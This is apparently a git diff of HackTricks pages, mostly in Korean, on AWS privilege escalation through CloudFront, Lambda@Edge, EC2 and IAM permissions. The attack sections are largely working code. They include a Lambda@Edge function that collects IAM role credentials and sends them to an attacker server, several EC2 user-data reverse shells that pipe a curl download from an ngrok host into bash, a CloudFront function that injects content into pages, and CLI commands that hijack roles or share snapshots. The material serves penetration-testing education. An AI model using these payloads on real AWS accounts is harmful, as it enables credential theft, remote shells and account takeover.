`cloudfront:GetDistributionConfig` + +cloudfront:UpdateDistribution 및 cloudfront:GetDistributionConfig 권한을 가진 공격자는 CloudFront 배포의 구성을 수정할 수 있습니다. 공격자는 대상 S3 버킷 자체에 대한 권한이 없어도 되지만, 해당 버킷이 cloudfront.amazonaws.com 서비스 프린시펄로부터의 접근을 허용하는 관대한 정책을 가지고 있다면 공격이 더 쉬워집니다. + +공격자는 배포의 origin 구성(origin configuration)을 다른 S3 버킷이나 공격자가 제어하는 서버를 가리키도록 변경합니다. 먼저 현재 배포 구성을 가져옵니다: +```bash +aws cloudfront get-distribution-config --id | jq '.DistributionConfig' > current-config.json +``` +그런 다음 current-config.json을 편집하여 origin을 새 리소스를 가리키도록 지정한다 — 예를 들어, 다른 S3 버킷: +```bash +... +"Origins": { +"Quantity": 1, +"Items": [ +{ +"Id": "", +"DomainName": ".s3.us-east-1.amazonaws.com", +"OriginPath": "", +"CustomHeaders": { +"Quantity": 0 +}, +"S3OriginConfig": { +"OriginAccessIdentity": "", +"OriginReadTimeout": 30 +}, +"ConnectionAttempts": 3, +"ConnectionTimeout": 10, +"OriginShield": { +"Enabled": false +}, +"OriginAccessControlId": "E30N32Y4IBZ971" +} +] +}, +... +``` +마지막으로 수정된 구성을 적용합니다(업데이트 시 현재 ETag를 제공해야 합니다): +```bash +CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text) + +aws cloudfront update-distribution \ +--id \ +--distribution-config file://current-config.json \ +--if-match $CURRENT_ETAG +``` + +### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction` +An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions. + +The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses: + +```bash +function handler(event) { +var request = event.request; +var response = event.response; +// Create a new body with malicious JavaScript +var maliciousBody = ` + + + +Compromised Page + + +

Original Content

+

This page has been modified by CloudFront Functions

+ + + +`; +// Replace the body entirely +response.body = { encoding: "text", data: maliciousBody }; +// Update headers +response.headers["content-type"] = { value: "text/html; charset=utf-8" }; +response.headers["content-length"] = { +value: maliciousBody.length.toString(), +}; +response.headers["x-cloudfront-function"] = { value: "malicious-injection" }; +return response; +} +``` + +Commands to create, publish and attach the function: + +```bash +# CloudFront에 악성 함수 생성 +aws cloudfront create-function --name malicious-function --function-config '{ +"Comment": "Malicious CloudFront Function for Code Injection", +"Runtime": "cloudfront-js-1.0" +}' --function-code fileb://malicious-function.js + +# DEVELOPMENT 단계에서 함수의 ETag 가져오기 +aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text + +# LIVE 단계로 함수 게시 +aws cloudfront publish-function --name malicious-function --if-match +``` + +Add the function to the distribution configuration (FunctionAssociations): + +```bash +"FunctionAssociations": { +"Quantity": 1, +"Items": [ +{ +"FunctionARN": "arn:aws:cloudfront:::function/malicious-function", +"EventType": "viewer-response" +} +] +} +``` + +Finally update the distribution configuration (remember to supply the current ETag): + +```bash +CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text) + +aws cloudfront update-distribution --id --distribution-config file://current-config.json --if-match $CURRENT_ETAG +``` + +### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution` + +An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required. + +The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials: + +```bash +// malicious-lambda-edge.js +exports.handler = async (event) => { +// Obtain role credentials +const credentials = { +accessKeyId: process.env.AWS_ACCESS_KEY_ID, +secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY, +sessionToken: process.env.AWS_SESSION_TOKEN, +}; +// Send credentials to attacker's server +try { +await fetch("https:///steal-credentials", { +method: "POST", +headers: { "Content-Type": "application/json" }, +body: JSON.stringify(credentials) +}); +} catch (error) { +console.error("Error sending credentials:", error); +} +if (event.Records && event.Records[0] && event.Records[0].cf) { +// Modify response headers +const response = event.Records[0].cf.response; +response.headers["x-credential-theft"] = [ +{ +key: "X-Credential-Theft", +value: "Successful", +}, +]; +return response; +} +return { +statusCode: 200, +body: JSON.stringify({ message: "Credentials stolen" }) +}; +}; +``` + +```bash +# Lambda@Edge 함수 패키징 +zip malicious-lambda-edge.zip malicious-lambda-edge.js + +# 권한이 높은 역할로 Lambda@Edge 함수 생성 +aws lambda create-function \ +--function-name malicious-lambda-edge \ +--runtime nodejs18.x \ +--role \ +--handler malicious-lambda-edge.handler \ +--zip-file fileb://malicious-lambda-edge.zip \ +--region + +# 함수 버전 게시 +aws lambda publish-version --function-name malicious-lambda-edge --region +``` + +Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version: + +```bash +"LambdaFunctionAssociations": { +"Quantity": 1, +"Items": [ +{ +"LambdaFunctionARN": "arn:aws:lambda:us-east-1::function:malicious-lambda-edge:1", +"EventType": "viewer-response", +"IncludeBody": false +} +] +} +``` + +```bash +# 업데이트된 distribution config 적용 (현재 ETag 사용 필요) +CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text) + +aws cloudfront update-distribution \ +--id \ +--distribution-config file://current-config.json \ +--if-match $CURRENT_ETAG + +# 배포에 요청하여 함수를 트리거 +curl -v https://.cloudfront.net/ +``` + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md index 5a06fe366..12fff649d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md @@ -12,19 +12,19 @@ EC2에 대한 **자세한 정보**는 다음을 확인하세요: ### `iam:PassRole`, `ec2:RunInstances` -공격자는 **IAM role을 연결한 인스턴스를 생성한 다음 인스턴스에 접근**하여 metadata endpoint에서 IAM role 자격증명을 탈취할 수 있습니다. +공격자는 **IAM role을 연결한 인스턴스를 생성한 뒤 해당 인스턴스에 접근**하여 메타데이터 엔드포인트에서 IAM role 자격 증명을 탈취할 수 있습니다. -- **Access via SSH** +- **SSH를 통한 접근** -**생성된** **ssh key** (`--key-name`)를 사용해 새 인스턴스를 실행한 후 ssh로 접속합니다 (새로 생성하려면 `ec2:CreateKeyPair` 권한이 필요할 수 있습니다). +새 인스턴스를 **생성된** **ssh 키** (`--key-name`)로 실행한 뒤 ssh로 접속하세요 (새 키를 생성하려면 `ec2:CreateKeyPair` 권한이 필요할 수 있습니다). ```bash aws ec2 run-instances --image-id --instance-type t2.micro \ --iam-instance-profile Name= --key-name \ --security-group-ids ``` -- **user data의 rev shell을 통한 접근** +- **user data에서 rev shell로 접근** -새로운 인스턴스를 **user data** (`--user-data`)로 실행하면 **rev shell**을 보내도록 설정할 수 있습니다. 이렇게 하면 security group을 지정할 필요가 없습니다. +새 instance를 **user data** (`--user-data`)로 실행하면 **rev shell**을 보내도록 할 수 있습니다. 이 방법으로는 security group을 지정할 필요가 없습니다. ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh @@ -40,11 +40,11 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ ../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md {{#endref}} -**Potential Impact:** 기존 instance profiles에 연결된 EC2 role에 대한 direct privesc. +**Potential Impact:** 기존 instance profiles에 연결된 EC2 role에 대한 Direct privesc. #### Privesc to ECS -이 권한들로 **create an EC2 instance and register it inside an ECS cluster** 할 수도 있습니다. 이렇게 하면, ECS **services**는 당신이 접근할 수 있는 **EC2 instance** 안에서 **run**되며, 그 서비스들 (docker containers)에 침투하여 **steal their ECS roles attached** 할 수 있습니다. +이 권한들로 **create an EC2 instance and register it inside an ECS cluster**할 수도 있습니다. 이렇게 하면 접근 가능한 **EC2 instance** 내부에서 ECS **services**가 **run**되며, 이후 해당 서비스들 (docker containers)을 침투해 **steal their ECS roles attached**할 수 있습니다. ```bash aws ec2 run-instances \ --image-id ami-07fde2ae86109a2af \ @@ -59,20 +59,20 @@ aws ec2 run-instances \ #!/bin/bash echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; ``` -To learn how to **force ECS services to be run** in this new EC2 instance check: +이 새로운 EC2 인스턴스에서 **ECS 서비스를 실행하도록 강제하는 방법**을 알아보려면 다음을 확인하세요: {{#ref}} ../aws-ecs-privesc/README.md {{#endref}} -If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack. +만약 **새 인스턴스를 생성할 수 없다면** 권한 `ecs:RegisterContainerInstance`가 있다면 클러스터에 인스턴스를 등록하고 앞서 언급한 공격을 수행할 수 있습니다. -**잠재적 영향:** tasks에 연결된 ECS roles에 대한 직접적인 privesc. +**잠재적 영향:** 작업에 연결된 ECS 역할로의 직접 privesc. ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** -이전 시나리오와 유사하게, 이러한 권한을 가진 공격자는 **침해된 인스턴스의 IAM role을 변경**하여 새로운 자격증명을 훔칠 수 있습니다.\ -인스턴스 프로파일은 하나의 role만 가질 수 있으므로, 인스턴스 프로파일에 **이미 role이 있는 경우**(일반적인 경우), **`iam:RemoveRoleFromInstanceProfile`** 권한도 필요합니다. +앞의 시나리오와 마찬가지로, 이러한 권한을 가진 공격자는 **침해된 인스턴스의 IAM 역할을 변경**하여 새로운 자격 증명을 탈취할 수 있습니다.\ +인스턴스 프로파일은 하나의 역할만 가질 수 있기 때문에, 인스턴스 프로파일에 **이미 역할이 있는 경우**(일반적인 경우), **`iam:RemoveRoleFromInstanceProfile`** 권한도 필요합니다. ```bash # Removing role from instance profile aws iam remove-role-from-instance-profile --instance-profile-name --role-name @@ -80,34 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` -만약 **instance profile has a role** 이고 attacker가 **cannot remove it** 못한다면, 다른 우회 방법이 있습니다. 그는 **find** 한 **instance profile without a role** 를 사용하거나 **create a new one** (`iam:CreateInstanceProfile`), 앞서 설명한 대로 그 **role** 을 해당 **instance profile** 에 **add** 한 뒤, compromised 된 **instance** 에 그 **instance profile** 을 **associate** 할 수 있습니다: +만약 **instance profile에 role이 있고** attacker가 **그것을 제거할 수 없다면**, 다른 우회 방법이 있습니다. 그는 **role이 없는 instance profile을 찾거나** **새로운 instance profile을 생성할 수 있습니다** (`iam:CreateInstanceProfile`), 그 **instance profile에 role을 추가**(앞서 설명한 대로)한 뒤, **그 instance profile을 침해된 i**nstance에 연관(associate)**할 수 있습니다: -- 만약 instance가 **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`) +- 만약 instance가 **어떠한 instance profile도 가지고 있지 않다면** (`ec2:AssociateIamInstanceProfile`) ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -**Potential Impact:** 다른 EC2 role로의 직접 privesc (AWS EC2 인스턴스를 침해했고 추가 권한 또는 특정 instance profile 상태가 필요합니다). +**잠재적 영향:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status). ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -이 권한들이 있으면 인스턴스에 연결된 instance profile을 변경할 수 있습니다. 따라서 공격자가 이미 인스턴스에 접근 권한을 가지고 있다면, 연결된 instance profile을 변경해 더 많은 instance profile 역할의 자격 증명을 탈취할 수 있습니다. +이 권한들이 있으면 인스턴스에 연결된 instance profile을 변경할 수 있으므로, 공격자가 이미 인스턴스에 접근한 상태라면 연결된 instance profile을 변경하여 더 많은 instance profile 역할의 자격 증명을 탈취할 수 있습니다. -- 인스턴스에 **instance profile**이 있다면, 해당 instance profile을 **제거**(`ec2:DisassociateIamInstanceProfile`)하고 **연결**할 수 있습니다 +- 만약 해당 인스턴스에 **instance profile**이 있다면, 인스턴스의 instance profile을 **제거**(`ec2:DisassociateIamInstanceProfile`)하고 다시 **연결**할 수 있습니다 ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -- 또는 손상된 인스턴스의 **instance profile**을 **교체**합니다 (`ec2:ReplaceIamInstanceProfileAssociation`). +- 또는 손상된 인스턴스의 **instance profile**을 **replace**합니다 (`ec2:ReplaceIamInstanceProfileAssociation`). ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` -**Potential Impact:** 다른 EC2 role로의 Direct privesc (AWS EC2 인스턴스를 이미 침해했거나 추가 권한 또는 특정 instance profile 상태가 필요합니다). +**잠재적 영향:** 다른 EC2 role로의 직접적인 privesc (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status). ### `ec2:RequestSpotInstances`,`iam:PassRole` -권한 **`ec2:RequestSpotInstances`와 `iam:PassRole`**을(를) 가진 공격자는 **user data**에 **rev shell**을 포함한 상태로 **EC2 Role**이 연결된 **Spot Instance**를 **요청**할 수 있습니다.\ -인스턴스가 실행되면, 공격자는 **IAM role**을 **탈취**할 수 있습니다. +해당 권한(**`ec2:RequestSpotInstances`and`iam:PassRole`**)을 가진 공격자는 **Spot Instance**를 **request**하여 **EC2 Role attached** 상태로 만들고 **user data**에 **rev shell**을 넣을 수 있습니다.\ +인스턴스가 실행되면 공격자는 **IAM role**을 **steal**할 수 있습니다. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -119,9 +119,9 @@ aws ec2 request-spot-instances \ ``` ### `ec2:ModifyInstanceAttribute` -**`ec2:ModifyInstanceAttribute`** 권한을 가진 공격자는 인스턴스 속성을 수정할 수 있습니다. 그중에서 그는 **change the user data**를 변경할 수 있으며, 이는 인스턴스가 **run arbitrary data.**를 실행하도록 만들 수 있음을 의미합니다. 이는 **rev shell to the EC2 instance**를 얻는 데 사용할 수 있습니다. +공격자가 **`ec2:ModifyInstanceAttribute`** 권한을 가지고 있으면 인스턴스의 속성을 수정할 수 있습니다. 그중 인스턴스의 **change the user data**를 변경할 수 있으며, 이는 인스턴스가 **run arbitrary data.** 하도록 만들어 **rev shell to the EC2 instance**를 얻는 데 사용될 수 있습니다. -속성은 인스턴스가 중지된 상태에서만 **modified while the instance is stopped**할 수 있으므로, 해당 작업에는 **permissions**인 **`ec2:StopInstances`** 및 **`ec2:StartInstances`**가 필요합니다. +속성은 인스턴스가 중지된 동안에만 **modified while the instance is stopped** 수 있으니, 따라서 **permissions**로 **`ec2:StopInstances`** 및 **`ec2:StartInstances`** 권한이 필요합니다. ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \ aws ec2 start-instances --instance-ids $INSTANCE_ID ``` -**Potential Impact:** 생성된 인스턴스에 연결된 어떤 EC2 IAM Role에도 직접적인 privesc. +**잠재적 영향:** 생성된 인스턴스에 연결된 모든 EC2 IAM Role에 대한 직접적인 privesc. ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -권한 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** 을 가진 공격자는 **새 Launch Template 버전**을 생성해 **user data**에 **rev shell**을 넣고 그 템플릿에 **any EC2 IAM Role on it**을 할당할 수 있습니다. 기본 버전을 변경하면, **any Autoscaler group**이 **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version**일 경우 해당 템플릿으로 인스턴스를 **re-run the instances** 하여 rev shell이 실행됩니다. +권한 **`ec2:CreateLaunchTemplateVersion`, `ec2:CreateLaunchTemplate` 및 `ec2:ModifyLaunchTemplate`**을(를) 가진 공격자는 **새로운 Launch Template 버전**을 생성하여 **user data에 rev shell을 포함시키고**, 그 템플릿에 **임의의 EC2 IAM Role**을 할당한 뒤 기본 버전을 변경할 수 있습니다. 이후 해당 **Launch Template을 사용하는 모든 Autoscaler group**이 **latest** 또는 **default version** 사용으로 구성되어 있으면 템플릿을 이용해 인스턴스를 재실행(re-run)하면서 rev shell이 실행됩니다. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -176,11 +176,11 @@ aws ec2 modify-launch-template \ --launch-template-name bad_template \ --default-version 2 ``` -**Potential Impact:** 다른 EC2 role로의 직접 privesc. +**잠재적 영향:** 다른 EC2 role로의 Direct privesc. ### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`) -권한 **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** 를 가진 공격자는 **Launch Configuration을 생성**하여 **IAM Role**과 **rev shell**을 **user data**에 넣고, 그 구성에서 **autoscaling group을 생성**한 뒤 rev shell이 **IAM Role을 탈취**할 때까지 기다릴 수 있습니다. +권한 **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`**을(를) 가진 공격자는 **create a Launch Configuration**를 통해 **IAM Role**과 **rev shell**을 **user data** 안에 포함시키고, 해당 구성으로부터 **create an autoscaling group**을 생성한 뒤 rev shell이 **steal the IAM Role**할 때까지 기다릴 수 있다. ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ --launch-configuration-name bad_config \ @@ -196,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ --desired-capacity 1 \ --vpc-zone-identifier "subnet-e282f9b8" ``` -**잠재적 영향:** 다른 EC2 role로의 직접 privesc. +**Potential Impact:** 다른 EC2 role로 직접 privesc. ### `!autoscaling` -권한 집합 **`ec2:CreateLaunchTemplate`** 및 **`autoscaling:CreateAutoScalingGroup`** 만으로는 IAM role로 권한 상승을 하기에는 **충분하지 않습니다**. Launch Configuration 또는 Launch Template에 지정된 role을 연결하려면 **`iam:PassRole`과 `ec2:RunInstances` 권한이 필요합니다** (이는 잘 알려진 privesc입니다). +권한 집합 **`ec2:CreateLaunchTemplate`** 및 **`autoscaling:CreateAutoScalingGroup`** 만으로는 IAM role로 권한 상승을 하기에는 **충분하지 않습니다**. Launch Configuration 또는 Launch Template에 지정된 role을 연결하려면 **`iam:PassRole`와 `ec2:RunInstances`** 권한이 필요하기 때문입니다 (이는 알려진 privesc입니다). ### `ec2-instance-connect:SendSSHPublicKey` -권한 **`ec2-instance-connect:SendSSHPublicKey`** 을 가진 공격자는 사용자에게 ssh 키를 추가하고(해당 인스턴스에 대한 ssh 접근이 가능한 경우) 이를 사용해 접근하거나 권한을 상승시킬 수 있습니다. +권한 **`ec2-instance-connect:SendSSHPublicKey`** 를 가진 공격자는 ssh 키를 사용자에게 추가하고, (해당 공격자가 instance에 ssh 접근 권한이 있는 경우) 이를 이용해 접근하거나 권한을 상승시킬 수 있습니다. ```bash aws ec2-instance-connect send-ssh-public-key \ --instance-id "$INSTANCE_ID" \ --instance-os-user "ec2-user" \ --ssh-public-key "file://$PUBK_PATH" ``` -**Potential Impact:** 실행 중인 인스턴스에 할당된 EC2 IAM 역할에 대한 직접 privesc. +**Potential Impact:** 실행 중인 인스턴스에 연결된 EC2 IAM roles에 대한 직접적인 privesc. ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` -권한 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`**을(를) 가진 공격자는 **serial 연결에 ssh key를 추가할 수 있습니다**. serial이 활성화되어 있지 않다면, 공격자는 이를 활성화하기 위해 권한 **`ec2:EnableSerialConsoleAccess`**이 필요합니다. +권한 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`**을 가진 공격자는 **ssh 키를 serial 연결에 추가할 수 있습니다**. serial이 활성화되어 있지 않다면, 공격자는 이를 활성화하기 위해 **`ec2:EnableSerialConsoleAccess`** 권한이 필요합니다. -serial 포트에 연결하려면 머신 내부의 사용자에 대한 **사용자명과 비밀번호를 알아야 합니다**. +시리얼 포트에 연결하려면 머신 내부의 사용자 계정에 대한 **username과 password를 알고 있어야** 합니다. ```bash aws ec2 enable-serial-console-access @@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` -이 방법은 exploit하려면 username과 password를 알아야 하기 때문에 privesc에 그다지 유용하지 않습니다. +이 방법은 exploit하려면 username과 password를 알아야 하기 때문에 privesc에는 그다지 유용하지 않습니다. -**Potential Impact:** (Highly unprovable) 실행 중인 인스턴스에 연결된 EC2 IAM roles로의 직접적인 privesc. +**잠재적 영향:** (증명하기 매우 어려움) running instances에 연결된 EC2 IAM roles로의 직접 privesc. ### `describe-launch-templates`,`describe-launch-template-versions` -launch templates에는 버전 관리가 있으므로, **`ec2:describe-launch-templates`** 및 **`ec2:describe-launch-template-versions`** 권한을 가진 공격자는 user data에 존재하는 자격 증명과 같은 민감한 정보를 발견하기 위해 이를 악용할 수 있습니다. 이를 수행하기 위해, 다음 스크립트는 사용 가능한 launch templates의 모든 버전을 순회합니다: +launch templates에는 버전 관리가 있으므로, **`ec2:describe-launch-templates`** 및 **`ec2:describe-launch-template-versions`** 권한을 가진 공격자는 이를 악용하여 user data에 포함된 자격 증명과 같은 민감한 정보를 발견할 수 있습니다. 이를 위해, 다음 스크립트는 사용 가능한 launch templates의 모든 버전을 순회합니다: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do @@ -248,29 +248,24 @@ echo done | grep -iE "aws_|password|token|api" done ``` -위 명령들에서는 특정 패턴 (`aws_|password|token|api`)을 지정하고 있지만, 다른 정규식을 사용해 다른 종류의 민감한 정보를 검색할 수 있습니다. +In the above commands, although we're specifying certain patterns (`aws_|password|token|api`), you can use a different regex to search for other types of sensitive information. -만약 `aws_access_key_id`와 `aws_secret_access_key`를 찾는다면, 이 자격 증명을 사용하여 AWS에 인증할 수 있습니다. +Assuming we find `aws_access_key_id` and `aws_secret_access_key`, we can use these credentials to authenticate to AWS. -**Potential Impact:** IAM user(s)에 대한 직접 권한 상승. +**잠재적 영향:** Direct privilege escalation to IAM user(s). -## 참고자료 +## 참조 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) +### `ec2:ModifyInstanceMetadataOptions` (IMDS 다운그레이드로 SSRF credential theft 활성화) +취약한 EC2 인스턴스에서 `ec2:ModifyInstanceMetadataOptions`를 호출할 수 있는 권한을 가진 공격자는 IMDS 보호를 약화시켜 IMDSv1 (`HttpTokens=optional`)을 활성화하고 `HttpPutResponseHopLimit`을 증가시킬 수 있습니다. 이렇게 하면 인스턴스 메타데이터 엔드포인트가 인스턴스에서 실행되는 애플리케이션의 일반적인 SSRF/proxy 경로를 통해 도달 가능해집니다. 공격자가 해당 애플리케이션에서 SSRF를 유발할 수 있다면, 인스턴스 프로파일 자격증명을 검색하여 pivot할 수 있습니다. +- 필요한 권한: 대상 인스턴스에 대한 `ec2:ModifyInstanceMetadataOptions` (호스트에 대한 SSRF에 접근/유발할 수 있는 능력 포함). +- 대상 리소스: 인스턴스 프로파일(IAM role)이 연결된 실행 중인 EC2 인스턴스. - - -### `ec2:ModifyInstanceMetadataOptions` (IMDS 다운그레이드로 SSRF를 통한 자격 증명 탈취 활성화) - -피해 EC2 인스턴스에서 `ec2:ModifyInstanceMetadataOptions`를 호출할 수 있는 공격자는 IMDS 보호를 약화시켜 IMDSv1을 활성화(`HttpTokens=optional`)하고 `HttpPutResponseHopLimit`을 증가시킬 수 있습니다. 이렇게 하면 인스턴스에서 실행되는 애플리케이션의 일반적인 SSRF/프록시 경로를 통해 인스턴스 메타데이터 엔드포인트에 접근할 수 있게 됩니다. 공격자가 해당 애플리케이션에서 SSRF를 유발할 수 있다면, 인스턴스 프로필 자격 증명을 가져와 이를 사용해 권한을 확대할 수 있습니다. - -- 필요 권한: 대상 인스턴스에 대한 `ec2:ModifyInstanceMetadataOptions` (호스트에 도달/SSRF를 유발할 수 있는 능력 포함). -- 대상 리소스: 인스턴스 프로필 (IAM role)이 연결된 실행 중인 EC2 인스턴스. - -예시 명령: +명령 예시: ```bash # 1) Check current metadata settings aws ec2 describe-instances --instance-id \ @@ -297,5 +292,28 @@ aws sts get-caller-identity aws ec2 modify-instance-metadata-options --instance-id \ --http-tokens required --http-put-response-hop-limit 1 ``` -잠재적 영향: SSRF를 통한 instance profile credentials 도용으로 EC2 role permissions으로 privilege escalation 및 lateral movement가 발생할 수 있습니다. +잠재적 영향: SSRF를 통한 instance profile credentials 도용으로 EC2 역할 권한을 이용한 privilege escalation 및 lateral movement로 이어질 수 있음. + +### `ec2:ModifyInstanceMetadataOptions` + +ec2:ModifyInstanceMetadataOptions 권한을 가진 공격자는 Instance Metadata Service (IMDS) 보호를 약화시킬 수 있습니다 — 예를 들어 IMDSv1로 강제( HttpTokens를 필요하지 않도록 )하거나 HttpPutResponseHopLimit을 증가시키는 방식으로 — 이로 인해 임시 자격 증명의 유출이 쉬워집니다. 가장 관련 있는 위험 벡터는 HttpPutResponseHopLimit을 올리는 것입니다: 해당 hop 한도(TTL)를 증가시키면 169.254.169.254 엔드포인트가 VM의 네트워크 네임스페이스에 엄격히 국한되지 않게 되어 다른 프로세스/컨테이너에서 접근 가능해지고, 자격 증명 도난을 초래할 수 있습니다. +```bash +aws ec2 modify-instance-metadata-options \ +--instance-id \ +--http-tokens optional \ +--http-endpoint enabled \ +--http-put-response-hop-limit 2 +``` +### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute` + +ec2:ModifyImageAttribute 및 ec2:ModifySnapshotAttribute 권한을 가진 공격자는 AMIs 또는 snapshots을 다른 AWS 계정과 공유(또는 공개)할 수 있으며, 이로 인해 구성, 자격 증명, 인증서 또는 백업과 같은 민감한 데이터를 포함하고 있을 수 있는 이미지나 볼륨이 노출될 수 있습니다. AMI의 launch permissions 또는 snapshot의 create-volume permissions을 수정하면 공격자는 제3자가 해당 리소스에서 instances를 launch하거나 disks를 mount하여 내용에 접근할 수 있게 됩니다. + +다른 계정과 AMI를 공유하려면: +```bash +aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region +``` +다른 계정과 EBS snapshot을 공유하려면: +```bash +aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region +``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index c1b76b3b0..dd5b08834 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -4,7 +4,7 @@ ## IAM -IAM에 대한 자세한 정보는 다음을 확인하세요: +IAM에 대한 자세한 내용은 다음을 확인하세요: {{#ref}} ../../aws-services/aws-iam-enum.md @@ -12,7 +12,7 @@ IAM에 대한 자세한 정보는 다음을 확인하세요: ### **`iam:CreatePolicyVersion`** -`iam:CreatePolicyVersion` 권한은 `--set-as-default` 플래그를 사용하여 `iam:SetDefaultPolicyVersion` 권한 없이 새 IAM 정책 버전을 생성할 수 있게 해줍니다. 이를 통해 맞춤 권한을 정의할 수 있습니다. +새 IAM 정책 버전을 생성할 수 있는 권한을 부여합니다. `--set-as-default` 플래그를 사용하여 `iam:SetDefaultPolicyVersion` 권한 없이 기본 버전 설정을 우회할 수 있습니다. 이를 통해 사용자 지정 권한을 정의할 수 있습니다. **Exploit Command:** ```bash @@ -23,53 +23,53 @@ aws iam create-policy-version --policy-arn \ ### **`iam:SetDefaultPolicyVersion`** -IAM 정책의 기본 버전을 다른 기존 버전으로 변경할 수 있게 하며, 새 버전이 더 많은 권한을 포함하는 경우 권한이 상승할 수 있습니다. +IAM 정책의 기본 버전을 다른 기존 버전으로 변경할 수 있게 하며, 새 버전에 더 많은 권한이 있을 경우 권한을 상승시킬 수 있습니다. **Bash Command:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**영향:** 더 많은 권한을 부여하여 간접적인 권한 상승을 초래할 수 있음. +**영향:** 추가 권한을 부여할 수 있게 하여 간접적인 권한 상승을 초래할 수 있음. ### **`iam:CreateAccessKey`** -다른 사용자에 대해 access key ID와 secret access key를 생성할 수 있게 하여 잠재적인 권한 상승으로 이어질 수 있음. +다른 사용자의 access key ID와 secret access key를 생성할 수 있게 하여 잠재적인 권한 상승으로 이어질 수 있음. **Exploit:** ```bash aws iam create-access-key --user-name ``` -**영향:** 다른 사용자의 확장된 권한을 가정하여 직접적인 권한 상승을 발생시킵니다. +**영향:** 다른 